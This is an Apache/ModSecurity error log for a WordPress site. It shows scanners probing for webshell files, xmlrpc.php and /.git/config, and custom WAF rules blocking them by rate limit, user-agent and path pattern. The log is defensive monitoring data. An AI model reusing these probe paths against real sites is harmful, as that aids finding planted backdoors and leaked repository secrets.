[Sun Feb 22 08:57:39.020122 2026] [proxy_fcgi:error] [pid 12501:tid 12504] [client 20.24.200.53:1183] AH01071: Got error 'Primary script unknown'
[Sun Feb 22 08:57:39.140466 2026] [:error] [pid 12501:tid 12508] [client 20.24.200.53:1183] [client 20.24.200.53] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.24.200.53, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aZpUg5icztrbvinWGXMSEgAAAUU"]
[Sun Feb 22 08:57:39.144611 2026] [proxy_fcgi:error] [pid 12501:tid 12508] [client 20.24.200.53:1183] AH01071: Got error 'Primary script unknown'
[Sun Feb 22 08:57:39.269076 2026] [proxy_fcgi:error] [pid 12501:tid 12513] [client 20.24.200.53:1183] AH01071: Got error 'Primary script unknown'
[Sun Feb 22 08:57:39.394674 2026] [proxy_fcgi:error] [pid 12501:tid 12515] [client 20.24.200.53:1183] AH01071: Got error 'Primary script unknown'
[Sun Feb 22 08:57:39.519390 2026] [proxy_fcgi:error] [pid 12501:tid 12503] [client 20.24.200.53:1183] AH01071: Got error 'Primary script unknown'
[Sun Feb 22 08:57:39.648033 2026] [proxy_fcgi:error] [pid 12501:tid 12505] [client 20.24.200.53:1183] AH01071: Got error 'Primary script unknown'
[Sun Feb 22 08:57:39.773450 2026] [proxy_fcgi:error] [pid 12501:tid 12517] [client 20.24.200.53:1183] AH01071: Got error 'Primary script unknown'
[Sun Feb 22 08:57:39.898311 2026] [proxy_fcgi:error] [pid 12501:tid 12526] [client 20.24.200.53:1183] AH01071: Got error 'Primary script unknown'
[Sun Feb 22 08:57:40.019212 2026] [:error] [pid 12501:tid 12510] [client 20.24.200.53:1183] [client 20.24.200.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/autoload_classmap.php"] [unique_id "aZpUhJicztrbvinWGXMSGgAAAUc"]
[Sun Feb 22 08:57:40.529007 2026] [:error] [pid 12501:tid 12519] [client 20.24.200.53:1167] [client 20.24.200.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/autoload_classmap.php"] [unique_id "aZpUhJicztrbvinWGXMSGwAAAVA"]
[Sun Feb 22 08:57:41.020493 2026] [:error] [pid 9695:tid 9710] [client 20.24.200.53:1165] [client 20.24.200.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/autoload_classmap.php"] [unique_id "aZpUhVpPqolBNLmJ4eqU5AAAAM0"]
[Sun Feb 22 08:57:41.509231 2026] [:error] [pid 9589:tid 9661] [client 20.24.200.53:1193] [client 20.24.200.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/autoload_classmap.php"] [unique_id "aZpUhdr-1mylR_FoXQVzwwAAAIo"]
[Sun Feb 22 23:33:45.983990 2026] [proxy_fcgi:error] [pid 2474:tid 2518] [client 185.137.164.14:56505] AH01071: Got error 'Primary script unknown'
[Sun Feb 22 23:33:46.353001 2026] [proxy_fcgi:error] [pid 2474:tid 2545] [client 185.137.164.14:56505] AH01071: Got error 'Primary script unknown'
[Sun Feb 22 23:33:46.953973 2026] [proxy_fcgi:error] [pid 2474:tid 2540] [client 185.137.164.14:56505] AH01071: Got error 'Primary script unknown'
[Sun Feb 22 23:33:47.560205 2026] [proxy_fcgi:error] [pid 2474:tid 2537] [client 185.137.164.14:56505] AH01071: Got error 'Primary script unknown'
[Sun Feb 22 23:33:48.254222 2026] [proxy_fcgi:error] [pid 2474:tid 2520] [client 185.137.164.14:56505] AH01071: Got error 'Primary script unknown'
[Sun Feb 22 23:33:48.512597 2026] [:error] [pid 2474:tid 2543] [client 185.137.164.14:56505] [client 185.137.164.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/chosen.php"] [unique_id "aZsh3PhvE7P5hX_xKnS4UwAAAFY"]
[Sun Feb 22 23:33:49.213652 2026] [:error] [pid 2574:tid 2601] [client 185.137.164.20:51129] [client 185.137.164.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/chosen.php"] [unique_id "aZsh3ckPV7h4nTf-jiTmnwAAANQ"]
[Sun Feb 22 23:33:49.789997 2026] [proxy_fcgi:error] [pid 3103:tid 3115] [client 185.137.164.19:44511] AH01071: Got error 'Primary script unknown'
[Sun Feb 22 23:33:50.050997 2026] [proxy_fcgi:error] [pid 3103:tid 3126] [client 185.137.164.19:44511] AH01071: Got error 'Primary script unknown'
[Sun Feb 22 23:33:50.377824 2026] [:error] [pid 3103:tid 3125] [client 185.137.164.19:44511] [client 185.137.164.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "aZsh3pfzX5hBIaQY93N_SQAAAZM"]
[Sun Feb 22 23:33:51.059124 2026] [proxy_fcgi:error] [pid 2475:tid 2531] [client 185.137.164.14:23783] AH01071: Got error 'Primary script unknown'
[Sun Feb 22 23:33:51.344287 2026] [proxy_fcgi:error] [pid 2475:tid 2548] [client 185.137.164.14:23783] AH01071: Got error 'Primary script unknown'
[Sun Feb 22 23:33:51.667347 2026] [:error] [pid 2475:tid 2527] [client 185.137.164.14:23783] [client 185.137.164.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mah.php"] [unique_id "aZsh3ydme8TSKYpXujdxPgAAAII"]
[Sun Feb 22 23:33:52.304306 2026] [:error] [pid 2628:tid 2638] [client 185.137.164.15:38919] [client 185.137.164.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mah.php"] [unique_id "aZsh4LK4woMTeUPH2ns8RQAAAQc"]
[Sun Feb 22 23:33:52.912802 2026] [:error] [pid 2628:tid 2651] [client 185.137.164.21:45613] [client 185.137.164.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mah.php"] [unique_id "aZsh4LK4woMTeUPH2ns8VwAAARQ"]
[Sun Feb 22 23:33:53.463526 2026] [:error] [pid 3103:tid 3129] [client 185.137.164.20:46625] [client 185.137.164.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mah.php"] [unique_id "aZsh4ZfzX5hBIaQY93N_XwAAAZc"]
[Sun Feb 22 23:33:54.054771 2026] [:error] [pid 3103:tid 3115] [client 185.137.164.12:58933] [client 185.137.164.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mah.php"] [unique_id "aZsh4pfzX5hBIaQY93N_ZwAAAYk"]
[Sun Feb 22 23:33:55.167756 2026] [:error] [pid 2574:tid 2592] [client 185.137.164.17:61611] [client 185.137.164.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/dist/"] [unique_id "aZsh48kPV7h4nTf-jiTm5gAAAMs"]
[Sun Feb 22 23:33:55.944739 2026] [:error] [pid 3103:tid 3119] [client 185.137.164.16:24103] [client 185.137.164.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/dist/"] [unique_id "aZsh45fzX5hBIaQY93N_iAAAAY0"]
[Sun Feb 22 23:33:57.260771 2026] [:error] [pid 2473:tid 2500] [client 185.137.164.12:62145] [client 185.137.164.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/sitemaps/"] [unique_id "aZsh5XptAeV7-XzzNzg9zQAAABc"]
[Sun Feb 22 23:33:58.529496 2026] [:error] [pid 2574:tid 2596] [client 185.137.164.14:47853] [client 185.137.164.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aZsh5skPV7h4nTf-jiTnCQAAAM8"]
[Sun Feb 22 23:33:59.082630 2026] [:error] [pid 2574:tid 2591] [client 185.137.164.20:24153] [client 185.137.164.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aZsh58kPV7h4nTf-jiTnCwAAAMo"]
[Sun Feb 22 23:34:00.330652 2026] [:error] [pid 2473:tid 2492] [client 185.137.164.17:21705] [client 185.137.164.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/sodium_compat/lib/"] [unique_id "aZsh6HptAeV7-XzzNzg9_QAAAA8"]
[Sun Feb 22 23:34:00.936523 2026] [:error] [pid 26033:tid 26059] [client 185.137.164.15:48003] [client 185.137.164.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/sodium_compat/lib/"] [unique_id "aZsh6ETRRZdhkkS8ouSJNgAAAdg"]
[Sun Feb 22 23:34:02.759749 2026] [:error] [pid 26033:tid 26039] [client 185.137.164.21:57741] [client 185.137.164.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/"] [unique_id "aZsh6kTRRZdhkkS8ouSJUQAAAcQ"]
[Sun Feb 22 23:34:03.686059 2026] [:error] [pid 2473:tid 2484] [client 185.137.164.20:42323] [client 185.137.164.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/"] [unique_id "aZsh63ptAeV7-XzzNzg-MQAAAAc"]
[Sun Feb 22 23:34:04.625630 2026] [:error] [pid 26033:tid 26054] [client 185.137.164.15:23705] [client 185.137.164.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/"] [unique_id "aZsh7ETRRZdhkkS8ouSJcAAAAdM"]
[Sun Feb 22 23:34:05.141099 2026] [:error] [pid 2474:tid 2526] [client 185.137.164.21:48187] [client 185.137.164.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/"] [unique_id "aZsh7fhvE7P5hX_xKnS5CQAAAEs"]
[Sun Feb 22 23:34:06.217202 2026] [:error] [pid 2629:tid 2682] [client 185.137.164.18:62011] [client 185.137.164.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/theme-compat/"] [unique_id "aZsh7glsXSV5M4mfwZ9bWQAAAVg"]
[Sun Feb 22 23:34:06.902851 2026] [:error] [pid 2473:tid 2499] [client 185.137.164.21:47929] [client 185.137.164.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/theme-compat/"] [unique_id "aZsh7nptAeV7-XzzNzg-WwAAABY"]
[Sun Feb 22 23:34:08.029684 2026] [:error] [pid 26033:tid 26039] [client 185.137.164.19:50089] [client 185.137.164.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/ioxi/ioxi/"] [unique_id "aZsh8ETRRZdhkkS8ouSJpAAAAcQ"]
[Sun Feb 22 23:34:09.048814 2026] [:error] [pid 2474:tid 2512] [client 185.137.164.15:54119] [client 185.137.164.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/id3/"] [unique_id "aZsh8fhvE7P5hX_xKnS5PwAAAEM"]
[Sun Feb 22 23:34:09.587813 2026] [:error] [pid 2629:tid 2678] [client 185.137.164.18:28727] [client 185.137.164.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/id3/"] [unique_id "aZsh8QlsXSV5M4mfwZ9bcAAAAVQ"]
[Sun Feb 22 23:34:10.122659 2026] [:error] [pid 26033:tid 26049] [client 185.137.164.20:37681] [client 185.137.164.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/id3/"] [unique_id "aZsh8kTRRZdhkkS8ouSJsgAAAc4"]
[Sun Feb 22 23:34:10.771505 2026] [:error] [pid 2475:tid 2555] [client 185.137.164.15:30681] [client 185.137.164.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/id3/"] [unique_id "aZsh8idme8TSKYpXujdx1gAAAI8"]
[Sun Feb 22 23:34:11.303976 2026] [:error] [pid 3103:tid 3127] [client 185.137.164.13:47667] [client 185.137.164.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/id3/"] [unique_id "aZsh85fzX5hBIaQY93OATQAAAZU"]
[Mon Feb 23 00:00:47.273764 2026] [:error] [pid 26033:tid 26046] [client 47.164.129.25:57326] [client 47.164.129.25] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.164.129.25, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aZsoL0TRRZdhkkS8ouSTmQAAAcs"]
[Mon Feb 23 00:00:47.285855 2026] [proxy_fcgi:error] [pid 26033:tid 26046] [client 47.164.129.25:57326] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 05:27:22.230272 2026] [:error] [pid 54379:tid 54412] [client 104.28.203.58:14713] [client 104.28.203.58] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/style.php"] [unique_id "aZt0utEE6mAMJmUyCcR8ggAAABg"]
[Mon Feb 23 05:27:22.665463 2026] [:error] [pid 54379:tid 54396] [client 104.28.203.58:14724] [client 104.28.203.58] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/style.php"] [unique_id "aZt0utEE6mAMJmUyCcR8hAAAAAg"]
[Mon Feb 23 05:27:23.228593 2026] [:error] [pid 54482:tid 54504] [client 104.28.203.58:20999] [client 104.28.203.58] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/style.php"] [unique_id "aZt0uz8bYINguLe1hWdXTQAAANQ"]
[Mon Feb 23 05:27:23.592002 2026] [:error] [pid 54380:tid 54434] [client 104.28.203.58:14739] [client 104.28.203.58] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/style.php"] [unique_id "aZt0u6X3e5TFfa1i4D0sHAAAAFM"]
[Mon Feb 23 05:27:23.945495 2026] [:error] [pid 35629:tid 35642] [client 104.28.203.58:14742] [client 104.28.203.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style.php"] [unique_id "aZt0u9MXZIv4bciDBETSTQAAAUo"]
[Mon Feb 23 08:11:28.988518 2026] [:error] [pid 29909:tid 29925] [client 16.171.160.156:58590] [client 16.171.160.156] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aZubMD9oc2QzltksUk6a4AAAAQ4"]
[Mon Feb 23 08:11:30.384103 2026] [:error] [pid 29909:tid 29927] [client 16.171.160.156:60764] [client 16.171.160.156] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aZubMj9oc2QzltksUk6a6AAAARA"]
[Mon Feb 23 10:35:56.971960 2026] [proxy_fcgi:error] [pid 25294:tid 25343] [client 13.70.40.215:11395] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 10:35:58.113723 2026] [proxy_fcgi:error] [pid 25294:tid 25334] [client 13.70.40.215:11395] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 10:35:58.236775 2026] [proxy_fcgi:error] [pid 25294:tid 25351] [client 13.70.40.215:11395] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 10:35:58.358150 2026] [proxy_fcgi:error] [pid 25294:tid 25373] [client 13.70.40.215:11395] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 10:35:58.479126 2026] [proxy_fcgi:error] [pid 25294:tid 25372] [client 13.70.40.215:11395] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 10:35:58.596635 2026] [:error] [pid 25294:tid 25330] [client 13.70.40.215:11395] [client 13.70.40.215] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 13.70.40.215, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aZu9DiRCFB3CqIo_jfaAxwAAAEE"]
[Mon Feb 23 10:35:58.601032 2026] [proxy_fcgi:error] [pid 25294:tid 25330] [client 13.70.40.215:11395] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 10:35:58.722302 2026] [proxy_fcgi:error] [pid 25294:tid 25341] [client 13.70.40.215:11395] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 10:35:58.843740 2026] [proxy_fcgi:error] [pid 25294:tid 25370] [client 13.70.40.215:11395] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 10:35:58.965285 2026] [proxy_fcgi:error] [pid 25294:tid 25350] [client 13.70.40.215:11395] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 10:35:59.086213 2026] [proxy_fcgi:error] [pid 25294:tid 25374] [client 13.70.40.215:11395] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 10:35:59.208345 2026] [proxy_fcgi:error] [pid 25294:tid 25366] [client 13.70.40.215:11395] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 10:35:59.325790 2026] [:error] [pid 25294:tid 25358] [client 13.70.40.215:11395] [client 13.70.40.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rip.php"] [unique_id "aZu9DyRCFB3CqIo_jfaAzQAAAEw"]
[Mon Feb 23 10:35:59.797549 2026] [:error] [pid 39639:tid 39657] [client 13.70.40.215:10975] [client 13.70.40.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rip.php"] [unique_id "aZu9DxpFkMoMi8uTUUMcUAAAAk4"]
[Mon Feb 23 10:36:00.345122 2026] [:error] [pid 39540:tid 39588] [client 13.70.40.215:9945] [client 13.70.40.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rip.php"] [unique_id "aZu9ELsgm9aTWhlRScK29QAAAdM"]
[Mon Feb 23 10:36:00.843932 2026] [:error] [pid 39640:tid 39675] [client 13.70.40.215:10974] [client 13.70.40.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rip.php"] [unique_id "aZu9ENsK--eVCgzvvudOxgAAAoU"]
[Mon Feb 23 11:59:25.067408 2026] [proxy_fcgi:error] [pid 25294:tid 25373] [client 45.132.224.132:57613] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 11:59:25.247763 2026] [proxy_fcgi:error] [pid 25294:tid 25368] [client 45.132.224.132:57613] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 11:59:25.531846 2026] [proxy_fcgi:error] [pid 25294:tid 25350] [client 45.132.224.132:57613] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 11:59:25.707982 2026] [proxy_fcgi:error] [pid 25294:tid 25343] [client 45.132.224.132:57613] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 11:59:25.900156 2026] [proxy_fcgi:error] [pid 25294:tid 25331] [client 45.132.224.132:57613] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 11:59:26.073947 2026] [proxy_fcgi:error] [pid 25294:tid 25358] [client 45.132.224.132:57613] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 11:59:26.256272 2026] [proxy_fcgi:error] [pid 25294:tid 25354] [client 45.132.224.132:57613] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 11:59:26.443223 2026] [proxy_fcgi:error] [pid 25294:tid 25366] [client 45.132.224.132:57613] AH01071: Got error 'Primary script unknown'
